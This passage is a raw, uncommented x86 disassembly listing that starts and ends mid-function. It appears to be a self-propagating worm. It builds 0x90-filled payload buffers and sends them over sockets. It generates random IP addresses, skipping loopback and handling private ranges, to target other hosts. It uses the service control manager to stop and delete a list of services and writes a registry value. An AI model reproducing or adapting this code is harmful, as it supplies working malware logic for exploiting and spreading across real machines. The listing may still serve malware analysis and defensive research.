		cmp	byte ptr [eax],	31h
		setnz	al
		and	eax, 1
		mov	[ebp+var_3050],	eax
		jz	loc_43FAEB
		push	0DACh
		push	90h
		lea	eax, [ebp+var_2987]
		push	eax
		call	sub_4408D5
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_21A3]
		push	eax
		call	sub_4408C9
		push	[ebp+arg_8]
		push	[ebp+var_3058]
		lea	eax, [ebp+var_2193]
		push	eax
		call	sub_4408C9
		push	4
		push	404D55h
		lea	eax, [ebp+var_1E6F]
		push	eax
		call	sub_4408C9
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_1E6B]
		push	eax
		call	sub_4408C9
		push	[ebp+var_3058]
		call	sub_440785
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_1E5F]
		push	edi
		call	sub_4408C9
		add	esp, 48h
		xor	ebx, ebx


loc_43FA93:				; CODE XREF: sub_43F725+38Bj
		mov	dl, [ebp+ebx+var_2987]
		mov	[ebp+ebx*2+var_1BDA], dl
		mov	[ebp+ebx*2+var_1BD9], 0
		inc	ebx
		cmp	ebx, 0DACh
		jl	short loc_43FA93
		mov	[ebp+var_82], 0
		mov	[ebp+var_81], 0
		push	1C52h
		push	31h
		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_4408D5
		push	1C52h
		push	31h
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_4408D5
		add	esp, 18h
		jmp	short loc_43FB4D
; ---------------------------------------------------------------------------


loc_43FAEB:				; CODE XREF: sub_43F725+2CDj
		push	7D0h
		push	90h
		lea	eax, [ebp+var_68E2]
		push	eax
		call	sub_4408D5
		push	[ebp+var_3058]
		call	sub_440785
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_6842]
		push	edi
		call	sub_4408C9
		lea	eax, [ebp+var_89E0]
		push	eax
		call	sub_440785
		push	eax
		lea	edi, [ebp+var_89E0]
		push	edi
		lea	edi, [ebp+var_6126]
		push	edi
		call	sub_4408C9
		add	esp, 24h
		mov	eax, dword ptr loc_404937+1
		mov	[ebp+var_6136],	eax


loc_43FB4D:				; CODE XREF: sub_43F725+3C4j
		push	0
		movsx	eax, [ebp+var_403A]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_303C]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	68h
		push	offset loc_404586
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0A0h
		push	offset loc_4045EF
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		cmp	[ebp+var_3050],	0
		jz	loc_43FCF5
		push	68h
		push	offset loc_40479E
		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_4408C9
		push	1B5Ah
		lea	eax, [ebp+var_1BDA]
		push	eax
		lea	eax, [ebp+var_8970]
		push	eax
		call	sub_4408C9
		push	70h
		push	offset loc_404807
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_4408C9
		push	0A5Eh
		lea	eax, [ebp+var_B46]
		push	eax
		lea	eax, [ebp+var_60A2]
		push	eax
		call	sub_4408C9
		push	84h
		push	404878h
		lea	eax, [ebp+var_55DE]
		push	eax
		call	sub_4408C9
		add	esp, 3Ch
		push	0
		push	10FCh
		lea	eax, [ebp+var_89D8]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0FDCh
		lea	eax, [ebp+var_6112]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43FD5B
		jmp	short loc_43FD5B
; ---------------------------------------------------------------------------


loc_43FCF5:				; CODE XREF: sub_43F725+4FAj
		push	7Ch
		push	404690h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_4408C9
		push	7D0h
		lea	eax, [ebp+var_68E2]
		push	eax
		lea	eax, [ebp+var_3FBD]
		push	eax
		call	sub_4408C9
		push	90h
		push	offset loc_40470D
		lea	eax, [ebp+var_37ED]
		push	eax
		call	sub_4408C9
		add	esp, 24h
		mov	[ebp+var_3342],	0
		push	0
		push	0CF8h
		lea	eax, [ebp+var_4039]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2


loc_43FD5B:				; CODE XREF: sub_43F725+5CCj
					; sub_43F725+5CEj
		push	64h
		call	sub_44076D
		and	[ebp+var_3054],	0


loc_43FD69:				; CODE XREF: sub_43F725+216j
					; sub_43F725+258j ...
		push	2
		push	[ebp+var_54]
		call	sub_4405CD


loc_43FD73:				; CODE XREF: sub_43F725+1CEj
		push	[ebp+var_54]
		call	sub_440555


loc_43FD7B:				; CODE XREF: sub_43F725+53j
		mov	eax, [ebp+var_3054]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F725	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FD86	proc near		; CODE XREF: .text:loc_43FDFAp

var_32		= byte ptr -32h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	esi
		push	edi
		push	31h
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_440579
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43FDA2
		xor	eax, eax
		jmp	short loc_43FDBC
; ---------------------------------------------------------------------------


loc_43FDA2:				; CODE XREF: sub_43FD86+16j
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_44056D
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43FDB5
		xor	eax, eax
		jmp	short loc_43FDBC
; ---------------------------------------------------------------------------


loc_43FDB5:				; CODE XREF: sub_43FD86+29j
		mov	eax, [edi+0Ch]
		mov	esi, [eax]
		mov	eax, [esi]


loc_43FDBC:				; CODE XREF: sub_43FD86+1Aj
					; sub_43FD86+2Dj
		pop	edi
		pop	esi
		leave
		retn
sub_43FD86	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	ebx
		push	esi
		push	edi
		call	sub_4406F5
		push	eax
		call	sub_440911
		mov	esi, 254h
		mov	eax, esi
		add	eax, 0Ah
		push	eax
		push	0
		call	sub_440731
		mov	ebx, eax
		push	esi
		push	4040BFh
		push	ebx
		call	sub_4408C9
		add	esp, 10h


loc_43FDFA:				; CODE XREF: .text:0043FE14j
					; .text:0043FE4Ej ...
		call	sub_43FD86
		mov	[ebp-10Ch], eax
		or	eax, eax
		jnz	short loc_43FE16
		push	384h
		call	sub_4408B1
		pop	ecx
		jmp	short loc_43FDFA
; ---------------------------------------------------------------------------


loc_43FE16:				; CODE XREF: .text:0043FE07j
		mov	al, [ebp-10Ch]
		mov	[ebp-111h], al
		mov	al, [ebp-10Bh]
		mov	[ebp-112h], al
		mov	al, [ebp-10Ah]
		mov	[ebp-135h], al
		cmp	byte ptr [ebp-111h], 7Fh
		jnz	short loc_43FE50
		push	384h
		call	sub_4408B1
		pop	ecx
		jmp	short loc_43FDFA
; ---------------------------------------------------------------------------


loc_43FE50:				; CODE XREF: .text:0043FE41j
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43F624
		push	0
		call	sub_4408B1
		add	esp, 8
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-134h], dl
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-131h], dl
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-132h], dl
		call	sub_4408ED
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		mov	[ebp-133h], dl
		mov	al, [ebp-133h]
		cmp	al, 5
		jnb	short loc_43FEED
		mov	al, [ebp-112h]
		mov	[ebp-134h], al
		mov	al, [ebp-133h]
		cmp	al, 3
		jnb	short loc_43FEED
		mov	al, [ebp-135h]
		mov	[ebp-131h], al


loc_43FEED:				; CODE XREF: .text:0043FEC9j
					; .text:0043FEDFj
		cmp	byte ptr [ebp-111h], 0Ah
		jnz	short loc_43FF22
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		movzx	eax, byte ptr [ebp-134h]
		push	eax
		push	404D49h
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440905
		add	esp, 14h


loc_43FF22:				; CODE XREF: .text:0043FEF4j
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0ACh
		jnz	short loc_43FF7C
		mov	al, [ebp-112h]
		cmp	al, 0Fh
		jbe	short loc_43FF7C
		cmp	al, 21h
		jnb	short loc_43FF7C
		call	sub_4408ED
		movzx	edi, byte ptr [ebp-132h]
		push	edi
		movzx	edi, byte ptr [ebp-131h]
		push	edi
		mov	edx, eax
		and	edx, 8000000Fh
		jge	short loc_43FF62
		dec	edx
		or	edx, 0FFFFFFF0h
		inc	edx


loc_43FF62:				; CODE XREF: .text:0043FF5Bj
		mov	edi, edx
		add	edi, 10h
		push	edi
		push	404D3Ch
		lea	edi, [ebp-130h]
		push	edi
		call	sub_440905
		add	esp, 14h


loc_43FF7C:				; CODE XREF: .text:0043FF2Ej
					; .text:0043FF38j ...
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0C0h
		jnz	short loc_43FFBC
		movzx	eax, byte ptr [ebp-112h]
		cmp	eax, 0A8h
		jnz	short loc_43FFBC
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		push	offset loc_404D2E
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440905
		add	esp, 10h


loc_43FFBC:				; CODE XREF: .text:0043FF88j
					; .text:0043FF96j
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440591
		cmp	[ebp-10Ch], eax
		jz	loc_43FDFA
		push	dword ptr [ebp-10Ch]
		call	sub_44059D
		movzx	edi, word ptr loc_404092+2
		push	edi
		push	eax
		push	404D27h
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_440905
		add	esp, 10h


loc_43FFFC:				; CODE XREF: .text:00440025j
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh


loc_440005:				; CODE XREF: .text:0044000Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440005
		cmp	eax, 19h
		jz	short loc_440027
		push	404D25h
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_44091D
		add	esp, 8
		jmp	short loc_43FFFC
; ---------------------------------------------------------------------------


loc_440027:				; CODE XREF: .text:0044000Fj
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh


loc_440030:				; CODE XREF: .text:00440035j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440030
		push	eax
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, ebx
		add	edi, 9
		push	edi
		call	sub_4408C9
		add	esp, 0Ch
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440591
		push	esi
		push	ebx
		push	eax
		call	sub_43F725
		add	esp, 0Ch
		mov	[ebp-13Ch], eax
		push	0
		call	sub_4408B1
		add	esp, 4
		jmp	loc_43FDFA
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440080	proc near		; CODE XREF: .text:004400C2p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_440701
		cmp	eax, 80000000h
		jb	short loc_440097
		mov	eax, 3Ch
		jmp	short locret_4400B8
; ---------------------------------------------------------------------------


loc_440097:				; CODE XREF: sub_440080+Ej
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4405E5
		and	[ebp+var_4], 2
		cmp	[ebp+var_4], 2
		jnz	short loc_4400B3
		mov	eax, 12Ch
		jmp	short locret_4400B8
; ---------------------------------------------------------------------------


loc_4400B3:				; CODE XREF: sub_440080+2Aj
		mov	eax, 64h

locret_4400B8:				; CODE XREF: sub_440080+15j
					; sub_440080+31j
		leave
		retn
sub_440080	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_440080
		mov	ebx, eax
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	401565h
		push	0
		push	0
		call	sub_440791
		push	eax
		call	sub_4406E9
		xor	esi, esi
		jmp	short loc_44011B
; ---------------------------------------------------------------------------


loc_4400E9:				; CODE XREF: .text:0044011Dj
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	401E23h
		push	0
		push	0
		call	sub_440791
		push	eax
		call	sub_4406E9
		mov	eax, 0EA60h
		xor	edx, edx
		div	ebx
		mov	[ebp-8], eax
		mov	edi, eax
		push	eax
		call	sub_4408B1
		pop	ecx
		inc	esi


loc_44011B:				; CODE XREF: .text:004400E7j
		cmp	esi, ebx
		jb	short loc_4400E9
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440126	proc near		; CODE XREF: sub_4403F5+ACp

var_388		= dword	ptr -388h
var_384		= dword	ptr -384h
var_380		= dword	ptr -380h
var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 388h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_16C]
		lea	esi, loc_404A2F+9
		mov	ecx, 51h
		rep movsd
		and	[ebp+var_24], 0


loc_440149:				; CODE XREF: sub_440126+211j
		push	0F003Fh
		push	0
		push	0
		call	sub_440839
		mov	[ebp+var_28], eax
		or	eax, eax
		jz	loc_440330
		push	0F003Fh
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_370], eax
		push	[ebp+eax+var_16C]
		push	[ebp+var_28]
		call	sub_440845
		mov	ebx, eax
		or	eax, eax
		jz	loc_440328
		lea	eax, [ebp+var_20]
		push	eax
		push	1
		push	ebx
		call	sub_440821
		mov	[ebp+var_4], eax
		and	[ebp+var_4], 0


loc_4401A1:				; CODE XREF: sub_440126+A4j
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		push	ebx
		call	sub_440821
		or	eax, eax
		jz	short loc_4401B7
		cmp	[ebp+var_1C], 1
		jnz	short loc_4401B9


loc_4401B7:				; CODE XREF: sub_440126+89j
		jmp	short loc_4401CC
; ---------------------------------------------------------------------------


loc_4401B9:				; CODE XREF: sub_440126+8Fj
		push	3E8h
		call	sub_44076D
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 0Ah
		jb	short loc_4401A1


loc_4401CC:				; CODE XREF: sub_440126:loc_4401B7j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_374], eax
		cmp	[ebp+eax+var_168], 0
		jz	short loc_4401EA
		push	ebx
		call	sub_44082D


loc_4401EA:				; CODE XREF: sub_440126+BCj
		push	ebx
		call	sub_440815
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_378], eax
		cmp	[ebp+eax+var_164], 0
		jz	loc_440328
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_37C], eax
		mov	eax, [ebp+eax+var_164]
		cmp	byte ptr [eax],	0
		jnz	loc_4402B0
		push	0
		push	18h
		lea	eax, [ebp+var_36C]
		push	eax
		push	0
		call	sub_4405F1
		or	eax, eax
		jz	short loc_4402B0
		lea	ecx, [ebp+var_36C]
		or	eax, 0FFFFFFFFh


loc_440249:				; CODE XREF: sub_440126+128j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440249
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jbe	short loc_44027D
		mov	eax, [ebp+var_4]
		sub	eax, 1
		cmp	[ebp+eax+var_36C], 5Ch
		jz	short loc_44027D
		push	404BA0h
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_44091D
		add	esp, 8


loc_44027D:				; CODE XREF: sub_440126+131j
					; sub_440126+141j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_44091D
		add	esp, 8
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_44079D


loc_4402B0:				; CODE XREF: sub_440126+FEj
					; sub_440126+118j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+eax+var_164]
		cmp	byte ptr [eax],	1
		jnz	short loc_440328
		lea	eax, [ebp+var_4]
		push	eax
		push	20006h
		push	0
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_384], eax
		mov	edx, [ebp+eax+var_164]
		push	dword ptr [edx+4]
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+0Ch]
		call	sub_440875
		or	eax, eax
		jnz	short loc_440328
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_388], eax
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+8]
		push	[ebp+var_4]
		call	sub_440851
		push	[ebp+var_4]
		call	sub_440869


loc_440328:				; CODE XREF: sub_440126+62j
					; sub_440126+E0j ...
		push	[ebp+var_28]
		call	sub_440815


loc_440330:				; CODE XREF: sub_440126+36j
		inc	[ebp+var_24]
		cmp	[ebp+var_24], 1Bh
		jb	loc_440149
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_440126	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	eax, [ebp+0Ch]
		cmp	eax, 10h
		jz	short loc_4403D2
		jg	short loc_44035F
		cmp	eax, 2
		jz	short loc_4403C9
		jmp	loc_4403DF
; ---------------------------------------------------------------------------


loc_44035F:				; CODE XREF: .text:00440353j
		cmp	eax, 113h
		jnz	short loc_4403DF
		and	dword ptr [ebp-4], 0
		mov	dword ptr [ebp-8], 4
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	404B81h
		push	offset loc_404B85
		push	80000001h
		call	sub_43F364
		mov	eax, dword ptr loc_404097+1
		mov	[ebp-0Ch], eax
		add	[ebp-4], eax
		push	4
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	404B81h
		push	offset loc_404B85
		push	80000001h
		call	sub_43F2F9
		add	esp, 30h
		push	0
		push	404098h
		call	sub_440719
		jmp	short loc_4403F0
; ---------------------------------------------------------------------------


loc_4403C9:				; CODE XREF: .text:00440358j
		push	0
		call	sub_4407E5
		jmp	short loc_4403F0
; ---------------------------------------------------------------------------


loc_4403D2:				; CODE XREF: .text:00440351j
		push	dword ptr loc_402FFF+1
		call	sub_4407FD
		jmp	short loc_4403F0
; ---------------------------------------------------------------------------


loc_4403DF:				; CODE XREF: .text:0044035Aj
					; .text:00440364j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_440809


loc_4403F0:				; CODE XREF: .text:004403C7j
					; .text:004403D0j ...
		pop	edi
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4403F5	proc near		; CODE XREF: sub_4405FD+5Cp

var_2DC		= byte ptr -2DCh
var_2D8		= byte ptr -2D8h
var_148		= dword	ptr -148h
var_143		= byte ptr -143h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_8]
		push	offset loc_403010
		call	sub_440681
		push	404B7Ch
		lea	eax, [ebp+var_143]
		push	eax
		call	sub_440905
		and	[ebp+var_44], 0
		lea	eax, loc_4023A7
		mov	[ebp+var_40], eax
		and	[ebp+var_3C], 0
		and	[ebp+var_38], 0
		mov	[ebp+var_34], edi
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		lea	eax, [ebp+var_143]
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_4407B5
		push	0
		push	edi
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0CF0000h
		push	404D25h
		lea	eax, [ebp+var_143]
		push	eax
		push	0
		call	sub_4407F1
		mov	dword ptr loc_402FFF+1,	eax
		call	sub_4406C5
		push	eax
		call	sub_43F2D4
		lea	eax, [ebp+var_2D8]
		push	eax
		push	2
		call	sub_440531
		push	0
		call	sub_440126
		lea	eax, [ebp+var_2DC]
		push	eax
		push	0
		push	0
		push	40211Dh
		push	0
		push	0
		call	sub_440791
		push	eax
		call	sub_4406E9
		and	[ebp+var_148], 0
		push	4
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		push	404B81h
		push	offset loc_404B85
		push	80000001h
		call	sub_43F2F9
		add	esp, 24h
		push	0
		push	2710h
		push	1
		push	dword ptr loc_402FFF+1
		call	sub_4407A9
		jmp	short loc_440516
; ---------------------------------------------------------------------------


loc_440504:				; CODE XREF: sub_4403F5+132j
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4407CD
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4407D9


loc_440516:				; CODE XREF: sub_4403F5+10Dj
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4407C1
		or	eax, eax
		jnz	short loc_440504
		pop	edi
		leave
		retn	10h
sub_4403F5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440531	proc near		; CODE XREF: sub_4403F5+A5p
		jmp	dword ptr loc_40524C
sub_440531	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44053D	proc near		; CODE XREF: .text:0043F5FBp
		jmp	dword ptr loc_40524D+3
sub_44053D	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440549	proc near		; CODE XREF: .text:0043F5C8p
		jmp	dword ptr loc_40524D+7
sub_440549	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440555	proc near		; CODE XREF: .text:0043F4F6p
					; sub_43F725+651p
		jmp	dword ptr loc_405256+2
sub_440555	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440561	proc near		; CODE XREF: sub_43F725+1BAp
		jmp	dword ptr loc_405256+6
sub_440561	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44056D	proc near		; CODE XREF: sub_43FD86+20p
		jmp	dword ptr loc_40525D+3
sub_44056D	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440579	proc near		; CODE XREF: sub_43FD86+Ep
		jmp	dword ptr loc_405263+1
sub_440579	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440585	proc near		; CODE XREF: .text:0043F5B6p
					; sub_43F725+197p
		jmp	dword ptr loc_405263+5
sub_440585	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440591	proc near		; CODE XREF: .text:0043FFC3p
					; .text:00440054p
		jmp	dword ptr loc_40526B+1
sub_440591	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44059D	proc near		; CODE XREF: sub_43F725+63p
					; .text:0043FFDAp
		jmp	dword ptr loc_40526E+2
sub_44059D	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405A9	proc near		; CODE XREF: .text:0043F5E6p
		jmp	dword ptr loc_405274
sub_4405A9	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405B5	proc near		; CODE XREF: .text:0043F3D6p
					; sub_43F725+20Bp ...
		jmp	dword ptr loc_405275+3
sub_4405B5	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405C1	proc near		; CODE XREF: .text:0043F428p
					; .text:0043F464p ...
		jmp	dword ptr loc_40527A+2
sub_4405C1	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405CD	proc near		; CODE XREF: .text:0043F4EEp
					; sub_43F725+649p
		jmp	dword ptr loc_40527A+6
sub_4405CD	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405D9	proc near		; CODE XREF: .text:0043F57Fp
					; sub_43F725+48p
		jmp	dword ptr loc_405281+3
sub_4405D9	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405E5	proc near		; CODE XREF: sub_440080+1Dp
		jmp	dword ptr loc_40528F+1
sub_4405E5	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405F1	proc near		; CODE XREF: sub_440126+111p
		jmp	dword ptr loc_405299+3
sub_4405F1	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4405FD	proc near		; CODE XREF: .text:0043F21Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	sub_4406B9
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	short loc_440631
		push	22h
		mov	eax, edi
		inc	eax
		push	eax
		call	sub_440929
		add	esp, 8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_44064C
		mov	edi, eax
		inc	edi
		jmp	short loc_440629
; ---------------------------------------------------------------------------


loc_440628:				; CODE XREF: sub_4405FD+2Fj
		inc	edi


loc_440629:				; CODE XREF: sub_4405FD+29j
		cmp	byte ptr [edi],	20h
		jz	short loc_440628
		jmp	short loc_44064C
; ---------------------------------------------------------------------------


loc_440630:				; CODE XREF: sub_4405FD+3Ej
		inc	edi


loc_440631:				; CODE XREF: sub_4405FD+Fj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_44063D
		cmp	eax, 20h
		jnz	short loc_440630


loc_44063D:				; CODE XREF: sub_4405FD+39j
		jmp	short loc_440640
; ---------------------------------------------------------------------------


loc_44063F:				; CODE XREF: sub_4405FD+4Dj
		inc	edi


loc_440640:				; CODE XREF: sub_4405FD:loc_44063Dj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_44064C
		cmp	eax, 20h
		jz	short loc_44063F


